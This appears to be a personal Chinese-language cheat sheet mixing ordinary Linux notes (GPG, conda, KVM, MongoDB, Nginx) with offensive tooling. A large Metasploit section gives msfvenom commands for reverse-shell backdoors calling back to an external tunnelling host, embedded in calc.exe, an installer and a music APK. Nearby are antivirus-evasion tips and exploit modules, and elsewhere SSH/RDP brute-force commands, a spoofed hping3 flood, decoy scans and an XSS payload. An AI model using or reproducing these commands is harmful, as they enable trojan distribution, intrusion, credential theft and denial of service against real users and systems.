gpg --armor --export-secret-keys ABCD1234EFGH5678 > private.asc
or
gpg --armor --export-secret-keys user@example.com > private.asc
上面2句会弹出窗口让输入密钥的密码,如果是命令行请用:
export GPG_TTY=$(tty)
gpg --pinentry-mode loopback --armor --export-secret-keys ABCD1234EFGH5678 > private.asc
gpg --pinentry-mode loopback \
--armor \
--export-secret-keys ABCD1234EFGH5678 > private.asc


## 导入密钥
私钥:
gpg --import private.asc
公钥:
gpg --import public.asc

设置信任:
gpg --edit-key 2************AEF
trust
5
save

gpg --list-secret-keys

清除私钥文件:
shred -u private.asc

shred -v -n 3 -u private.asc

## 删除密钥
gpg --delete-secret-keys KEYID

## 生成公钥
gpg --armor --export 2************AEF > public.asc
gpg --armor --export 2************AEF

## 生成吊销证书
gpg --output revoke.asc --gen-revoke 2************AEF
gpg --import revoke.asc
完整“事故处理流程”(标准做法)
假设:私钥丢了
① 找到吊销证书
revoke.asc
② 在任意一台还能用 GPG 的电脑上:
gpg --import revoke.asc
③ 导出已吊销的公钥:
gpg --armor --export 2************AEF > public_revoked.asc
④ 把 public_revoked.asc 发出去 / 上传
🚫 这把密钥正式“社会性死亡”。

## 使用GPG
GUI:sudo apt install kleopatra

### 文件加密(最常用)
1️⃣ 给别人加密(只有对方能解)👉 前提:你已经导入了 对方的公钥
gpg --encrypt -r 对方邮箱 file.txt
生成:file.txt.gpg 你自己 不能解密(除非你也加自己)。
2️⃣ 给别人 + 自己加密(推荐做法)
gpg --encrypt -r 对方邮箱 -r 自己邮箱 file.txt
3️⃣ 对称加密(不用公钥,像加密压缩包)适合临时文件
gpg --symmetric file.txt
会让你输入一个密码 生成 file.txt.gpg
### 解密文件
gpg --decrypt file.txt.gpg
默认输出到终端。解密并保存为文件:
gpg --output file.txt --decrypt file.txt.gpg

### 文件签名(证明“这是我发的”)
1️⃣ 生成签名文件(推荐)
gpg --detach-sign file.txt
生成:file.txt.sig
👉 常用于:软件发布、重要文件校验
2️⃣ 签名 + 打包成一个文件
gpg --sign file.txt
生成: file.txt.gpg

### 验证签名(非常重要)
gpg --verify file.txt.sig file.txt
看到: Good signature from "XXX" 才算可信。

### 加密 + 签名(专业组合)
gpg --encrypt --sign -r 对方邮箱 -r 自己邮箱 file.txt

# 查看指纹(核对身份用)
gpg --fingerprint 对方邮箱

### 一句话使用:
🔐✍️ 加密 + 签名 = 给对方 + 给自己一起加密,再签名
gpg --encrypt --sign -r 对方邮箱 -r 自己邮箱 file.txt

🔒 加密:只有你和对方能解
✍️ 签名:证明文件是你发的、没被改
🧠 加自己:你自己将来也能解(不丢数据)
收到方验证/解密:
gpg --decrypt file.txt.gpg

🔊【公开发布场景】(软件 / 文档 / 公告)
目标:任何人都能下载,但能验证“这是你发的、没被改”
公开发布 = 只签名,不加密
gpg --detach-sign file.txt
生成:
file.txt
file.txt.sig

【对于无GPG密钥人群】对称加密 + 密码
gpg --symmetric --sign file.txt
设置一个密码
gpg --decrypt file.txt.gpg

🔊 公开发布 → 只签名
👥 私密 + 有公钥 → 加密 + 签名
👤 私密 + 没私钥 → 对称加密 + 签名

Hping3

1
2
hping3 -q -n -a 10.0.0.1 --udp -s 53 --keep -p 68 --flood 192.168.0.2
hping3 -q -n -a 10.0.0.1 -S -s 53 --keep -p 22 --flood 192.168.0.2

Httrack

1
2
3
4
5
6
# 克隆镜像网站:
httrack www.baidu.com -O /root/webclone/

httrack http://192.168.3.5/srun_portal_pc.php?ac_id=1& -O "/home/webs/swulog" --mirrorlinks -%v -r6

克隆网页还可见wget

Hydra

1
2
3
4
5
6
#Hydra:
#破解SSH:
hydra -s 22 -v -V -L logfile.txt -P password.txt -t 8 192.168.1.1 ssh
#字典攻击 ,自动生成密码:
hydra -V -L logfie.txt -x 6:8:aA1 192.168.1.1 ssh
hydra -V -L logfie.txt -x '6:8:aA1 @!?' 192.168.1.1 ssh

IRC客户端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
irssi——Terminal
hexchat——Windows
konversation——Linux

IRC服务器:
irc.Libera.chat:6697

chat.freenode.net/6666/6667——Plain
irc.freenode.net/6697——SSL
irc.debian.org/7000——Plain

频道推荐:
irc.Libera.chat:
# archlinux-cn-offtopic
# archlinux-offtopic
# debian
# #networking
# linuxba

debian.org:
# debian
# debian-kde

注册昵称:
/nick YourNick
/msg NickServ REGISTER YourPassword youremail@example.com
/msg NickServ VERIFY REGISTER username codes
/msg NickServ IDENTIFY YourNick YourPassword
/msg NickServ GROUP
/connect irc.libera.chat 6667 YourNick:YourPassword
修改密码:/msg nickserv set password <new_password>

Jami

1
2
3
4
sudo apt install gnupg dirmngr ca-certificates curl --no-install-recommends
curl -s https://dl.jami.net/public-key.gpg | sudo tee /usr/share/keyrings/jami-archive-keyring.gpg > /dev/null
sudo sh -c "echo 'deb [signed-by=/usr/share/keyrings/jami-archive-keyring.gpg] https://dl.jami.net/nightly/debian_10/ ring main' > /etc/apt/sources.list.d/jami.list"
sudo apt-get update && sudo apt-get install jami

Kde Connect

1
2
3
命令:
锁屏:loginctl lock-session
解锁:loginctl unlock-session

Kdenlive

1
2
3
4
#### 快速选择
> https://video.stackexchange.com/questions/21598/select-range-of-clips-in-kdenlive
> https://userbase.kde.org/Kdenlive/Manual/Timeline_Menu/Selection
如果剪辑你要选择都是连续的,可以按Shift+左击和拖到你的鼠标在所有的片段

KVM

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# 创建动态 qcow2
qemu-img create -f qcow2 /path/to/debian13.qcow2 100G
qemu-img info /path/to/debian13.qcow2

# 配置共享文件夹
## KVM共享文件夹

1. Linux宿主机:`sudo apt install virtiofsd`
2. Windows主机:
- KVM配置启用共享内存,添加硬件文件系统virtiofs;
- 安装[Windows File System Proxy](https://winfsp.dev/) ([下载](https://github.com/winfsp/winfsp/releases) | 其他可能的依赖,如[SSHFS](https://github.com/winfsp/sshfs-win))和[virtio-win drivers](https://github.com/virtio-win/virtio-win-pkg-scripts/blob/master/README.md) ([下载](https://fedorapeople.org/groups/virt/virtio-win/direct-downloads/))
- 然后windows运行`services.msc`,设置VIRTIOFS服务开机自启动即可。
3. Linux主机:
- KVM配置启用共享内存,添加硬件文件系统virtiofs,假设添加的目标路径是Share;
- `mkdir /media/Share`
- `sudo mount -t virtiofs Share /media/Share`
- 编辑fstab,添加`Share /media/Share virtiofs defaults,_netdev 0 0` 或者 `Share /media/Share virtiofs defaults,_netdev,nofail,x-systemd.automount 0 0`

## KVM使用Spice共享剪贴板

Windows客户机:

1. 安装[VirtIO 驱动](https://fedorapeople.org/groups/virt/virtio-win/direct-downloads/)
2. 安装[SPICE Guest Tools](https://www.spice-space.org/download.html)
3. 宿主机打开 `virt-manager`选中虚拟机 → 点击 “显示详情(⚙️)在左侧选择 “视频(Video)”,显卡类型改为 `QXL`,在左侧选择 “显示(Displays)”,类型改为 `Spice`

Linux客户机:

1. `sudo apt install spice-vdagent qemu-guest-agent virt-viewer -y` (spice-vdagent必须,其他随意)
2. `sudo systemctl enable --now spice-vdagent qemu-guest-agent`
3. 宿主机打开 `virt-manager`选中虚拟机 → 点击 “显示详情(⚙️)在左侧选择 “视频(Video)”,显卡类型改为 `QXL`,在左侧选择 “显示(Displays)”,类型改为 `Spice`
4. 重启虚拟机即可

Mass scan

1
2
#大规模扫描:
masscan 192.168.0.0/24 -p 80 --banner

Mdk4

1
apt-get install mdk4

Miniconda

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
## 安装和卸载

```
wget https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-x86_64.sh
bash ~/Miniconda3-latest-Linux-x86_64.sh

# 无人值守:
mkdir -p ~/miniconda3
wget https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-x86_64.sh -O ~/miniconda3/miniconda.sh
bash ~/miniconda3/miniconda.sh -b -u -p ~/miniconda3
rm ~/miniconda3/miniconda.sh
source ~/miniconda3/bin/activate
conda init --all

# 手动初始化Manual shell initialization
source <PATH_TO_CONDA>/bin/activate
conda init --all
conda init --all --dry-run

# 卸载
conda deactivate
~/miniconda3/uninstall.sh
或者(看你安装在哪)
sudo -E /opt/miniconda3/uninstall.sh

备份:conda env export --name <ENV_NAME> > <ENV_NAME>.yaml

(Optional) If you have created any environments outside your miniconda3 directory, Anaconda recommends manually deleting them to increase available disc space on your computer. This step must be performed before uninstalling Miniconda.
conda info --envs
~/miniconda3/_conda constructor uninstall --prefix <PATH_TO_ENV_DIRECTORY>
```

## 配置

```
# 更换国内源
# 1. 备份旧配置
[ -f ~/.condarc ] && cp ~/.condarc ~/.condarc.bak
conda config --show default_channels 2
default_channels:
- https://repo.anaconda.com/pkgs/main
- https://repo.anaconda.com/pkgs/r

# 只用 defaults
# conda config --add channels defaults
conda config --set channel_priority strict
conda config --set show_channel_urls yes

# 配置
# 建议直接修改~/.condarc
channels:
- defaults
show_channel_urls: true
default_channels:
- https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main
- https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/r
- https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/msys2
custom_channels:
conda-forge: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud
pytorch: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud

# 验证
conda config --show channels
# 清索引缓存
conda clean -i
==========================
# 新建只用 conda-forge 的环境(不改全局)
conda create -n cf-env python=3.13 -c conda-forge --strict-channel-priority

# 临时指定:
conda activate cf-env
conda install --override-channels -c https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/conda-forge numpy

conda config --show channels
conda config --show default_channels


# 安装Mamba
conda install -n base -c conda-forge mamba

mamba create -n myenv python=3.10
mamba install numpy pandas
mamba update --all

# 不自动进入base
conda config --set auto_activate false

# 新建并设置自动进入default虚拟环境
mamba create -n dev python=3.13
shell rc文件最后一行新增
conda activate dev

##############DISCARD
# 先清理可能已有的乱七八糟配置(可选但推荐)
# conda config --remove-key channels
# conda config --remove-key default_channels

# defaults 指向清华镜像(不建议)
conda config --set default_channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main
conda config --append default_channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/r
# conda config --append default_channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/msys2
# conda config --set custom_channels.conda-forge https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud
```

## 使用

```
一、查看环境
conda env list
# 或
conda info --envs

二、新建环境
1️⃣ 新建(最常用)
conda create -n dev python=3.13

2️⃣ 用 mamba(更快,推荐)
mamba create -n dev python=3.13

3️⃣ 指定包一起装
mamba create -n dev python=3.13 numpy requests ipython

4️⃣ 指定 channel(一次性,不改全局)
mamba create -n dev python=3.13 \
--override-channels \
-c https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main \
--strict-channel-priority

三、激活 / 退出环境
conda activate dev
conda deactivate

四、删除环境(最重要)
⚠️ 删除前先退出
conda deactivate

删除整个环境
conda remove -n dev --all

(mamba 也可以)

mamba remove -n dev --all

五、重建“默认 debug 环境”(你现在的需求)
conda deactivate
conda remove -n dev --all
mamba create -n dev python=3.13

六、复制一个环境(可选)
conda create -n dev-copy --clone dev

七、导出 / 复现环境(可选但常用)
导出
conda env export -n dev > dev.yml

复现
conda env create -f dev.yml

八、环境内装包 / 卸包
mamba install numpy pandas
mamba remove numpy

九、清理缓存(环境炸了常用)
conda clean -a -y
mamba clean -a -y

关掉 conda 自动前缀 (dev)
conda config --set changeps1 false
```

Metasploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
======================================================================================
# metasploit框架修改流量标示序列指南:
通过修改http_form_field,在msfconsole下auxiliary/fuzzers/http/http_form_field
use auxiliary/fuzzers/http/http_form_field
set useragent
set useragent Googlebot/2.1
======================================================================================
# 查找SMB会话:
use auxiliary/scanner/smb/smb_enumusers
set smbuser vagrant
set smbpass vagrant
======================================================================================
# msf连接VNC :auxiliary/scanner/vnc/vnc_login
set rhost 192.168.1.21
set STOP_ON_SUCCESS true
run
======================================================================================
# 生成vbs宏脚本:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=<IP> lport=<port> -e x86/shikata_ga_nai -f vba-exe
======================================================================================
======================================================================================
# 通用后门创建:
msfvenom -p windows/meterpreter/reverse_tcp -k -x original.exe lhost=<IP> lport=<port> -f exe -o clone.exe
-p:允许选择需要的载荷嵌入-k,克隆程序并插入负载。-x选项复制具有相同属性的可执行模板。
创建一个rc文件简化操作:
use /exploit/mullti/handler
set payload windows/meterpreter/reverse_tcp
set lhost <IP>
set lport <port>
set exitonsession false
set autorunscript migrate -n explorer.exe
exploit -j -z
保存为*.rc
使用:msfconsole -q -r <filepath>

# msf生成后门文件:
msfvenom --platform windows -p windows/meterpreter/reverse_tcp lhost=<IP> lport=<port> -f vba-exe > attack.exe
msfvenom -p windows/meterpreter/reverse_tcp lhost=<IP> lport=<port> -f exe -o /home/jessie/at.exe

# msfvenom编码3次:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=10.0.2.6 LPORT=5110 -f raw | msfvenom -a x86 --platform windows -e x86/alpha_upper -i 10 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 10 -x 360zip_setup_4.0.0.1030.exe -f exe > 360zip_setup.20155110.exe

msfvenom -p android/meterpreter/reverse_tcp LHOST=free.idcfengye.com LPORT=10738 -f apk -x /root/payload -o /root/payload_backdoor.elf

msfvenom -a java --platform android -p android/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=free.idcfengye.com LPORT=10738 -f raw | msfvenom -a java --platform android -e cmd/echo -i 10 -f raw -x /home/jessie/work/kugou.apk > kugoupojiek01.apk
https有助于逃过动态检测:
msfvenom -p windows/meterpreter/reverse_https -a x86 -f csharp --platform windows -o https.csharp -b "\x00\xff" LHOST=192.168.1.222 LPORT=443 PrependMigrate=true PrependMigrateProc=svchost.exe
生成exe:
msfvenom -p windows/meterpreter/reverse_tcp -a x86 -f exe --platform windows -b "\x00\xff" LHOST=10.128.133.123 LPORT=8090 PrependMigrate=true PrependMigrateProc=svchost.exe > /home/jessie/8090tcp.exe
生成C:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b ‘\x00’ lhost=192.168.1.200 lport=4444 -f c
======================================================================================
# Windows端后门创建
msfvenom -p windows/meterpreter/reverse_tcp -f exe LHOST=free.idcfengye.com LPORT=19005 PrependMigrate=true PrependMigrateProc=svchost.exe > w-win-reve-tcp-o.exe

msfvenom -p windows/meterpreter/reverse_tcp -a x86 -f exe --platform windows -b "\x00\xff" LHOST=10.128.133.123 LPORT=8090 PrependMigrate=true PrependMigrateProc=svchost.exe > /home/jessie/8090tcp.exe

msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe LHOST=free.idcfengye.com LPORT=19005 -b "\x00\xff" -e x86/shikata_ga_nai PrependMigrate=true PrependMigrateProc=svchost.exe > w-win-reve-tcp-o-x64.exe

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=free.idcfengye.com lport=19005 -e x86/shikata_ga_nai PrependMigrate=true PrependMigrateProc=svchost.exe -i 88 -f vba-exe

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=free.idcfengye.com lport=19005 -e x86/shikata_ga_nai -i 14 PrependMigrate=true PrependMigrateProc=svchost.exe -f vbscript > w-win-reve-9010-tcp-e14.vbs

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=free.idcfengye.com lport=19005 -e x86/shikata_ga_nai PrependMigrate=true PrependMigrateProc=svchost.exe -i 88 -f vbs

msfvenom -p windows/x64/meterpreter/reverse_tcp -k -x calc.exe lhost=free.idcfengye.com lport=19005 PrependMigrate=true PrependMigrateProc=svchost.exe -f exe -o calc-win-reve-tcp-o.exe

msfvenom -p windows/x64/meterpreter/reverse_tcp -k -x calc.exe lhost=free.idcfengye.com lport=19005 PrependMigrate=true -e x86/shikata_ga_nai -i 1 PrependMigrateProc=svchost.exe -f exe -o calc-win-reve-tcp-e1.exe

msfvenom -p windows/x64/meterpreter/reverse_tcp -k -x calc.exe lhost=free.idcfengye.com lport=19005 PrependMigrate=true -e x86/shikata_ga_nai -i 1 PrependMigrateProc=svchost.exe -b "\x00\xff" -f exe -o calc-win-reve-tcp-be1.exe

msfvenom -p windows/x64/meterpreter/reverse_tcp -k -x calc.exe lhost=free.idcfengye.com lport=19005 PrependMigrate=true -e x86/shikata_ga_nai -i 19 PrependMigrateProc=svchost.exe -b "\x00" -f vba-exe

msfvenom -p windows/meterpreter/reverse_tcp -f exe LHOST=free.idcfengye.com LPORT=19005 PrependMigrate=true PrependMigrateProc=svchost.exe -e x86/shikata_ga_nai -k -x calc.exe -b '\x00' > w-win-reve-tcp-o.exe

msfvenom -p windows/meterpreter/reverse_tcp -f vba-exe LHOST=free.idcfengye.com LPORT=19005 PrependMigrate=true PrependMigrateProc=svchost.exe -e x86/shikata_ga_nai -k -x calc.exe -b '\x00'
main()

{

( (void(*)(void))&buf)();

}
======================================================================================
# Android端后门创建
msfvenom -p android/meterpreter/reverse_tcp LHOST=free.idcfengye.com LPORT=19005 -f raw > attack.apk

msfvenom -a java --platform android -p android/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=free.idcfengye.com LPORT=10738 -f raw | msfvenom -a java --platform android -e cmd/echo -i 10 -f raw > attack.apk

--list-options
--list formats
--list encoders
======================================================================================
# 关于免杀:
编码、加壳效果不如修改特征码
加壳:upx -6 -o [output] [input file]
特征码修改:
UltraEdit:1、十六进制直接修改,即加1处理 2、字符串大小写修改,大小写互换
3、等价代替,特征码对应的汇编命令替换成功能类似的 4、指令顺序调换。 5、通用跳转法,把特征码处的指令跳转走。
U盘攻击:hacksaw、swichblade……
======================================================================================
# 针对win7以下,office2010以下的office rtf文件 MS10-087漏洞:
use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
set payload windows/exec
set CMD calc.exe 打开计算器
set FILENAME [filename.rtf]
exploit
======================================================================================
autopwn:针对ie6以下、ie7
======================================================================================
adobe pdf利用:版本<9.3.4
use windows/fileformat/adobe_cooltype_sing
set payload windows/meterpreter/reverse_http
set lhost [IP]
set lport [PORT]
set filename [name.pdf]

use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost [IP]
set lport [PORT]
exploit
======================================================================================
# XSS:
<script>alert('XSS')</script>
<script/xss src="http://ha.ckers.org/xss.js></script>
======================================================================================
# msf-xssf:
load xssf
xssf_urls
======================================================================================
======================================================================================
# 经典漏洞:
MS06-040/MS07-029/MS08-067/MS11-058/MS12-020/MS04-011
======================================================================================
# 可执行文件转vbs:
cd /usr/share/metasploit-framework/tools/exploit
ruby exe2vba.rb ~/attack.exe attack.vbs
======================================================================================
# PowerShell:
use exploit/multi/script/web_delivery
show options...
监听器:use exploit/windows
set srvhost <IP>
set lhost <IP>
set uripath boom
exploit
======================================================================================
# msf暴力猜解网页目录:dir_scanner brute_firs dir_listing
use auxiliary/scanner/http/dir_scanner
set Threads 50
set rhosts [host]
exploit
!:部分网站在根目录有robot.txt 说明那些目录不该抓取。
======================================================================================
# msf收集E-mail邮件地址:
use auxiliary/gather/search_email_collector
set domain altoromutual.com
run
======================================================================================
# msf对端口的扫描:
search portscan
ack:ACK扫描对防火墙上未被屏蔽的端口
ftpbounce:对Tcp服务进行枚举
syn:SYN探测
tcp:完整的TCP链接来判断,准确但用时长
xmas:更为隐秘!隐蔽,但是用时更长 发送FIN、PSH、URG,躲避高级的TCP标记检测器的过滤
======================================================================================
# msf探测Telnet
use auxiliary/scanner/telnet/telnet_version
set rhosts/threads
run
======================================================================================
# msf探测SSH服务
use auxiliary/scanner/ssh/ssh_version
set rhosts/threads
run
======================================================================================
# msf开放代理探测与利用:
use auxiliary/scanner/http/open_proxy
set site www.google.com
set rhost 24.25.24.1-24.25.26.254
set multiports true
set verify_connect true
set threads 100
run
!公开搜集的代理服务器安全级别低,最好是能自己搭建VPN openVpn
======================================================================================
# msf-SSH口令猜测:
use auxiliary/scanner/ssh/ssh_login
set rhosts
set username root
set pass_file [Path]
set threads 50
run
======================================================================================
# msf-psnuffle口令嗅探:
use auxiliary/sniffer/psnuffle
run
用于截获常见协议的明文密码
======================================================================================
# msf中的nmap 脚本:/opt/metasploit/common/share/nmap/scripts
如:MS08-067:
nmap -P0 --script=smb-check-vulns [IP]
======================================================================================
# msf中使用sqlmap:
use auxiliary/scanner/http/sqlmap
======================================================================================
# msf-wmap web扫描:
load wmap
help
wmap_sites -a [URL] 扫描的网站
wmap_sites -l
wmap_targets -t [URL] 扫描的目标
wmap_run -t 将使用到的模块
wmap_run -e 查看结果
vulns 显示漏洞
======================================================================================
# msf探测主机是否存活:
arp_sweep ipv6_multicast_ping ipv6_neighbor ipv6_neighbor_router_advertisement udp_probe upd_sweep
use use auxiliary/scanner/discovery/arp_sweep
set rhosts
set threads
run
======================================================================================
# 关于iphone:
越狱的iPhone常有默认22端口开放以及默认口令:root/alpine moblie/dottie
msf中:
use exploit/apple_ios/ssh/cydia_default_ssh
show payloads
set payload cmd/unix/interact
set rhost [target IP]
set lhost [IP]
exploit
======================================================================================
# 利用苹果备份:
run post/multi/gather/apple_ios_backup
如果显示失败,请更新最新payload:
apple_ios_backup.rb放置于/opt/metasploit/msf3/modules/post/multi/gather/
apple_backup_manifestdb.rb放置于/opt/metasploit/msf3/lib/rex/parser/
run post/multi/gather/apple_ios_backup
如果有文件发现,储存在~/.msf4/loot/*.db
======================================================================================

Minecraft——我的世界(Java)

1
2
3
4
5
6
7
PC:下载HMCL起动器即可
Android:下载FCL起动器即可(https://github.com/FCL-Team/FoldCraftLauncher)

Java:https://adoptium.net/zh-CN/

mod搜索: https://files.xmdhs.com/curseforge
其他论坛: https://www.9minecraft.net/
自用Mod

其他Mod

自用资源包

其他资源包

自用光影

Mongo DB

https://www.mongodb.com/docs/manual/tutorial/install-mongodb-on-debian/#std-label-install-mdb-community-debian

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
## 安装(bullseye为例)
# 卸载仓库里的
sudo apt remove mongodb mongodb-org
sudo apt-get install gnupg curl
curl -fsSL https://www.mongodb.org/static/pgp/server-7.0.asc | \
sudo gpg -o /usr/share/keyrings/mongodb-server-7.0.gpg \
--dearmor
echo "deb [ signed-by=/usr/share/keyrings/mongodb-server-7.0.gpg ] http://repo.mongodb.org/apt/debian bullseye/mongodb-org/7.0 main" | sudo tee /etc/apt/sources.list.d/mongodb-org-7.0.list
sudo apt-get update
sudo apt-get install -y mongodb-org
# 防止apt意外升级:
echo "mongodb-org hold" | sudo dpkg --set-selections
echo "mongodb-org-database hold" | sudo dpkg --set-selections
echo "mongodb-org-server hold" | sudo dpkg --set-selections
echo "mongodb-mongosh hold" | sudo dpkg --set-selections
echo "mongodb-org-mongos hold" | sudo dpkg --set-selections
echo "mongodb-org-tools hold" | sudo dpkg --set-selections


## 安装完毕,解除ulimit限制:大多数类Unix操作系统限制了该系统的资源, 过程可以使用。 这些限制可能会产生负面影响MongoDB操作, 应该进行调整。 见 UNIX ulimit 设置 中推荐的 设置的平台。
解决参考:https://www.mongodb.com/docs/manual/reference/ulimit/
注意:Starting in MongoDB 4.4, a startup error is generated if the ulimit value for number of open files is under 64000.

## Nginx反向代理
注意:mongodb无法直接使用nginx代理,所以需要部署一个后端,操作mongo
结构:
MongoDB —— 后端 —— 用户

Nautilus

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
转载自:https://blog.michitsoft.com/2020/04/nautilus-gnome.html
Nautilus - Gnome 檔案總管快捷鍵清單
一般功能
Ctrl + N => 新增視窗
Ctrl + W => 關閉視窗或分頁
Ctrl + F => 搜尋
Ctrl + D => 將目前位置加入 Bookmark

分頁功能
Ctrl + T => 新增分頁
Ctrl + Page_Up => 移至上個分頁
Ctrl + Page_Down => 移至下個分頁
Alt + 0 ~ 8 => 開啟分頁

Navigate
Alt + 左鍵 => 返回前一層
Alt + 右鍵 => 向前
Alt + 上鍵 => 上一層
Alt + 下鍵 => 下一層
Alt + Home => 回到 user home
Ctrl + L => 輸入位置 (想複製和快速切換路徑時使用)

顯示
Ctrl + H => 顯示/隱藏檔案 (快速檢視隱藏檔)
F9 => 顯示/隱藏側邊欄
F10 => 顯示/隱藏動作選單
Ctrl + 1 => 列表檢視
Ctrl + 2 => 方格檢視
Space => 快速檢視檔案 (超級方便,MAC下也有這功能)

編輯功能
Shift + Ctrl + N => 建立資料夾
F2 => 重新命名
Ctrl + I / Alt + Enter => 顯示檔案屬性

NCrack

1
2
# 尝试破解RDP
ncrack -vv -U user.txt -P password.txt 192.168.1.1:3389

Nginx

1
2
3
4
5
6
7
sudo apt install curl gnupg2 ca-certificates lsb-release
echo "deb http://nginx.org/packages/debian `lsb_release -cs` nginx" \
| sudo tee /etc/apt/sources.list.d/nginx.list
curl -fsSL https://nginx.org/keys/nginx_signing.key | sudo apt-key add -
sudo apt-key fingerprint ABF5BD827BD9BF62
sudo apt update
sudo apt install nginx
Nginx读取非html扩展名的文件为网页
1
2
3
4
5
6
7
8
9
10
11
12
location /jitsi-docs-zh-cn/handbook/docs/ {
try_files $uri $uri/ =404;

# 将无扩展名文件视为 HTML
default_type text/html;
}
或者例外
# 匹配特定的无扩展名文件,如 "intro"
location ~* /jitsi-docs-zh-cn/handbook/docs/(intro|anotherfile) {
default_type text/html;
try_files $uri =404;
}

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
# nmap最小化隐形扫描:
nmap --spoof-mac-Cisco --data-length 24 -T paranoid --mac-hostgroup 1 --max-parallelism 10 -PN -f -D 10.1.20.5,RND:5,ME --v -n -sS -sV -oA /desktop/pentest/nmap/out -p T:1-1024 --random-hosts 10.1.1.10 10.1.1.15

注释: --spoof-mac-Cisco:伪造Cisco产品MAC地址,随机MAC可用--spoof-mac-0
--data-length 24:大多数正在发送的数据包附加24字节随机数据
-T paranoid:将时间设置为最慢
--max-hostgroup:限制主机在某个时间被扫描
--max-parallelism:限制发送的有效探针数,可以使用--scan-delay 设置两个探针之间的停顿;然而此选项与--max-parallelism不兼容
-Pn:不使用Ping命令探测
-f:磁片的数据包,这将经常愚弄低端用户和不正确配置的入侵检测系统
-D 10.1.20.5,RND:5,ME:创建诱饵扫描,与攻击者的扫描同时运行,隐藏实际攻击
-n:没有DNS解析;内部或外部DNS服务器,不响应通过nmap提交的DNS信息查询。
-sS:隐形的TCP SYN扫描
-sV:启用版本检测
-oA /desktop/pentest/nmap/out:将结果输出为……
-p T:1-1024:扫描指定的TCP端口
--random-hosts:随机化目标主机次序
其他: nmap脚本用LUA脚本语言(apt-get install lua5.1
-PR:同网段使用ARP进行扫描
--top-ports n:n为数字,使用频率最高的n个端口
nmap扫描ms08_067漏洞:
nmap -sV -p - --script vuln --script-args unsafe 192.168.169.132
ping扫描:
nmap -sP 192.168.1.0/24
ARP扫描:
nmap -v -sn 192.168.1.0/24
nmap -v -PR 192.168.1.0/24
nmap扫描SMB强制攻击:
nmap --script smb-enum-users.nse -p 445 192.168.1.1
nmap扫描web防火墙:
nmap -p 80 --script http-waf-detect.nse www.baidu.com
nmap枚举支持加密协议的脚本/检测该版本RDP漏洞:
nmap -p 3389 --script rdp-enum-encryption 192.168.1.1
nmap -p 3389 -sV --script rdp-vuln-ms12-020 192.168.1.1

nmap的SSL脚本:
ssl-cert:获取服务器的SSL证书。信息的返回数量取决于冗长的水平(空、-v、-V)。
ssl-date:从TLS服务器的hello响应中获取目标主机的时间和日期。
